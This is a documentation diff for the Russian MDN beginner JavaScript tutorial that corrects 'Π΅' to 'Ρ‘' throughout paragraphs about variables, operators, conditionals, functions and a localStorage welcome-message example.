<p>ΠŸΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ Ρ€Π°Π·Π΄Π΅Π» Π·Π²ΡƒΡ‡ΠΈΡ‚ ΠΎΡ‡Π΅Π½ΡŒ ΠΌΠ½ΠΎΠ³ΠΎΠΎΠ±Π΅Ρ‰Π°ΡŽΡ‰Π΅, ΠΈ это Π½Π° самом Π΄Π΅Π»Π΅ Ρ‚Π°ΠΊ β€” JavaScript являСтся ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ· самых пСрспСктивных Π²Π΅Π±-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ, ΠΈ ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΎΡΠ²ΠΎΠΈΡ‚Π΅ΡΡŒ ΠΈ Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ, ваши Π²Π΅Π±-сайты ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΡƒΡ‚ Π² Π½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΌΠ΅Ρ€Π΅Π½ΠΈΠ΅ ΠΌΠΎΡ‰ΠΈ ΠΈ крСативности.</p>
-<p>Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, с JavaScript Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ слоТно ΠΎΡΠ²ΠΎΠΈΡ‚ΡŒΡΡ, Ρ‡Π΅ΠΌ с HTML ΠΈ CSS.Β Π’Π°ΠΌ придСтся Π½Π°Ρ‡Π°Ρ‚ΡŒ с ΠΌΠ°Π»ΠΎΠ³ΠΎ, продолТая ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅ нСбольшими шагами. Для Π½Π°Ρ‡Π°Π»Π°Β ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ, ΠΊΠ°ΠΊ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ основы JavaScript Π½Π° Π²Π°ΡˆΡƒ страницу, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ "hello world!" ΠΏΡ€ΠΈΠΌΠ΅Ρ€ (<a href="https://ru.wikipedia.org/wiki/Hello,_world!">стандарт Π² Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Ρ…Β ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ… программирования</a>).</p>
+<p>Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, с JavaScript Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ слоТно ΠΎΡΠ²ΠΎΠΈΡ‚ΡŒΡΡ, Ρ‡Π΅ΠΌ с HTML ΠΈ CSS.Β Π’Π°ΠΌ придётся Π½Π°Ρ‡Π°Ρ‚ΡŒ с ΠΌΠ°Π»ΠΎΠ³ΠΎ, продолТая ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅ нСбольшими шагами. Для Π½Π°Ρ‡Π°Π»Π°Β ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ, ΠΊΠ°ΠΊ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ основы JavaScript Π½Π° Π²Π°ΡˆΡƒ страницу, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ "hello world!" ΠΏΡ€ΠΈΠΌΠ΅Ρ€ (<a href="https://ru.wikipedia.org/wiki/Hello,_world!">стандарт Π² Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Ρ…Β ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ… программирования</a>).</p>
<div class="warning">
<p><strong>Π’Π°ΠΆΠ½ΠΎ</strong>: Если Π²Ρ‹ Π½Π΅ слСдили Π·Π° ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΌ нашим курсом, <a href="https://github.com/mdn/beginner-html-site-styled/archive/gh-pages.zip">скачайтС этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΠ΄Π°</a> ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π΅Π³ΠΎ Π² качСствС стартовой Ρ‚ΠΎΡ‡ΠΊΠΈ.</p>
@@ -65,7 +65,7 @@ myHeading.textContent = 'Hello world!';</pre>
<h3 id="Π§Ρ‚ΠΎ_ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ">Π§Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ?</h3>
-<p>Π˜Ρ‚Π°ΠΊ, ваш Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ тСкста Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ Π½Π° "Hello world!" с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ JavaScript. ΠœΡ‹ сдСлали это с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ {{domxref("Document.querySelector", "querySelector()")}}, Π·Π°Ρ…Π²Π°Ρ‚ΠΈΠ² ссылку Π½Π° наш Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ сохранив Π΅Ρ‘ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ,Β Π½Π°Π·Π²Π°Π½Π½ΠΎΠΉ <code>myHeading</code>. Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΄Π΅Π»Π°Π»ΠΈ Π² CSS с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сСлСкторов. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с элСмСнтом, Ρ‚ΠΎ для Π½Π°Ρ‡Π°Π»Π° Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΅Π³ΠΎ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ.</p>
+<p>Π˜Ρ‚Π°ΠΊ, ваш Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ тСкста Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ Π½Π° "Hello world!" с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ JavaScript. ΠœΡ‹ сдСлали это с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ {{domxref("Document.querySelector", "querySelector()")}}, Π·Π°Ρ…Π²Π°Ρ‚ΠΈΠ² ссылку Π½Π° наш Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ сохранив Π΅Ρ‘ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ,Β Π½Π°Π·Π²Π°Π½Π½ΠΎΠΉ <code>myHeading</code>. Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΄Π΅Π»Π°Π»ΠΈ Π² CSS с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сСлСкторов. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с элСмСнтом, Ρ‚ΠΎ для Π½Π°Ρ‡Π°Π»Π° Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΅Π³ΠΎ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ.</p>
<p>ПослС этого, Π²Ρ‹ устанавливаСтС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>myHeading</code> Π² {{domxref("Node.textContent", "textContent")}} свойство (ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ прСдставляСт собой ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°) "Hello world!".</p>
@@ -175,7 +175,7 @@ myVariable = 'Steve';</pre>
<h3 id="ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹">ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹</h3>
-<p>{{Glossary("operator")}} β€” это матСматичСский символ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, основанный Π½Π° Π΄Π²ΡƒΡ… значСниях (ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…). Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΉ Π½ΠΈΠΆΠ΅ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ простых ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ², наряду с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅Ρ‚Π΅ Π² JavaScript консоли.</p>
+<p>{{Glossary("operator")}} β€” это матСматичСский символ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, основанный Π½Π° Π΄Π²ΡƒΡ… значСниях (ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…). Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΉ Π½ΠΈΠΆΠ΅ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ простых ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ², наряду с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅Ρ‚Π΅ Π² JavaScript консоли.</p>
<table class="standard-table">
<thead>
@@ -199,7 +199,7 @@ myVariable = 'Steve';</pre>
<td>Они Π΄Π΅Π»Π°ΡŽΡ‚ Ρ‚ΠΎ, Ρ‡Π΅Π³ΠΎ Π²Ρ‹ ΠΎΡ‚ Π½ΠΈΡ… ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅ Π² ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΠ΅.</td>
<td><code>-</code>, <code>*</code>, <code>/</code></td>
<td><code>9 - 3;<br>
- 8 * 2; // ΡƒΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² JS это Π·Π²Π΅Π·Π΄ΠΎΡ‡ΠΊΠ°<br>
+ 8 * 2; // ΡƒΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² JS это Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΠ°<br>
9 / 3;</code></td>
</tr>
<tr>
@@ -242,7 +242,7 @@ myVariable = 'Steve';</pre>
<h3 id="Условия">Условия</h3>
-<p>Условия β€” это ΠΊΠΎΠ΄ΠΎΠ²Ρ‹Π΅ структуры, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚Β Π²Π°ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ, истинно ΠΈΠ»ΠΈ Π»ΠΎΠΆΠ½ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ΄ Π² зависимости ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°. Бамая распространСнная Ρ„ΠΎΡ€ΠΌΠ° условия называСтся, <code>if ... else</code>. НапримСр:</p>
+<p>Условия β€” это ΠΊΠΎΠ΄ΠΎΠ²Ρ‹Π΅ структуры, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚Β Π²Π°ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ, истинно ΠΈΠ»ΠΈ Π»ΠΎΠΆΠ½ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ΄ Π² зависимости ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°. Бамая распространённая Ρ„ΠΎΡ€ΠΌΠ° условия называСтся, <code>if ... else</code>. НапримСр:</p>
<pre class="brush: js notranslate">var iceCream = 'chocolate';
if (iceCream === 'chocolate') {
@@ -255,7 +255,7 @@ if (iceCream === 'chocolate') {
<h3 id="Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ">Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ</h3>
-<p>{{Glossary("Function", "Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ")}} - способ ΡƒΠΏΠ°ΠΊΠΎΠ²ΠΊΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ. Всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Π°ΠΌ Π½ΡƒΠΆΠ½Π° опрСдСлСнная ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Π°, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ просто Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΠΎ Π΅Ρ‘ ΠΈΠΌΠ΅Π½ΠΈ, Π° Π½Π΅ ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒΒ Π²Π΅ΡΡŒ ΠΊΠΎΠ΄ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·. Π’Ρ‹ ΡƒΠΆΠ΅ Π²ΠΈΠ΄Π΅Π»ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, описанныС Π²Ρ‹ΡˆΠ΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>{{Glossary("Function", "Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ")}} - способ ΡƒΠΏΠ°ΠΊΠΎΠ²ΠΊΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ. Всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Π°ΠΌ Π½ΡƒΠΆΠ½Π° опрСдСлённая ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Π°, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ просто Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΠΎ Π΅Ρ‘ ΠΈΠΌΠ΅Π½ΠΈ, Π° Π½Π΅ ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒΒ Π²Π΅ΡΡŒ ΠΊΠΎΠ΄ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·. Π’Ρ‹ ΡƒΠΆΠ΅ Π²ΠΈΠ΄Π΅Π»ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, описанныС Π²Ρ‹ΡˆΠ΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<ol>
<li>
@@ -286,7 +286,7 @@ multiply(20,20);
multiply(0.5,3);</pre>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π˜Π½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡ <a href="/ru/docs/Web/JavaScript/Reference/Statements/return"><code>return</code></a> сообщаСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>result</code> ΠΈΠ· Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Π­Ρ‚ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, доступны Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ этих Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ. Π­Ρ‚ΠΎ называСтся {{Glossary("Scope", "ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ видимости")}} ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ. (Π§ΠΈΡ‚Π°ΠΉΡ‚Π΅ <a href="/ru/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Variable_scope">большС ΠΎΠ± области видимости ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…</a>.)</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π˜Π½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡ <a href="/ru/docs/Web/JavaScript/Reference/Statements/return"><code>return</code></a> сообщаСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>result</code> ΠΈΠ· Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Π­Ρ‚ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, доступны Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ этих Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ. Π­Ρ‚ΠΎ называСтся {{Glossary("Scope", "ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ видимости")}} ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ. (Π§ΠΈΡ‚Π°ΠΉΡ‚Π΅ <a href="/ru/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Variable_scope">большС ΠΎΠ± области видимости ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…</a>.)</p>
</div>
<h3 id="Бобытия">Бобытия</h3>
@@ -351,7 +351,7 @@ myImage.onclick = function() {
<h3 id="Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_ΠΏΠ΅Ρ€ΡΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ_привСтствСнного_сообщСния">Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€ΡΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ привСтствСнного сообщСния</h3>
-<p>Π”Π°Π»Π΅Π΅ ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ страницы Π½Π° пСрсонализированноС привСтствСнноС сообщСниС, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π·Π°ΠΉΠ΄Π΅Ρ‚Β Π½Π° сайт. Π­Ρ‚ΠΎ привСтствСнноС сообщСниС Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒΡΡ, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠΊΠΈΠ½Π΅Ρ‚ сайт, Π° ΠΏΠΎΠ·ΠΆΠ΅ вСрнСтся - ΠΌΡ‹ сохраним Π΅Π³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="https://developer.mozilla.org/ru/docs/Web/API/Web_Storage_API">Web Storage API</a>. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, привСтствСнноС сообщСниС, Π² любоС врСмя, ΠΊΠΎΠ³Π΄Π° это Π±ΡƒΠ΄Π΅Ρ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ.</p>
+<p>Π”Π°Π»Π΅Π΅ ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ страницы Π½Π° пСрсонализированноС привСтствСнноС сообщСниС, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π·Π°ΠΉΠ΄Ρ‘Ρ‚Β Π½Π° сайт. Π­Ρ‚ΠΎ привСтствСнноС сообщСниС Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒΡΡ, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠΊΠΈΠ½Π΅Ρ‚ сайт, Π° ΠΏΠΎΠ·ΠΆΠ΅ вСрнётся - ΠΌΡ‹ сохраним Π΅Π³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="https://developer.mozilla.org/ru/docs/Web/API/Web_Storage_API">Web Storage API</a>. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, привСтствСнноС сообщСниС, Π² любоС врСмя, ΠΊΠΎΠ³Π΄Π° это Π±ΡƒΠ΄Π΅Ρ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ.</p>
<ol>
<li>Π’ <code>index.html</code>, Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку ΠΏΠ΅Ρ€Π΅Π΄ элСмСнтом {{htmlelement("script")}}:
@@ -368,7 +368,7 @@ var myHeading = document.querySelector('h1');</pre>
localStorage.setItem('name', myName);
myHeading.<span class="pl-smi">textContent</span> = 'Mozilla is cool, ' + myName;
}</pre>
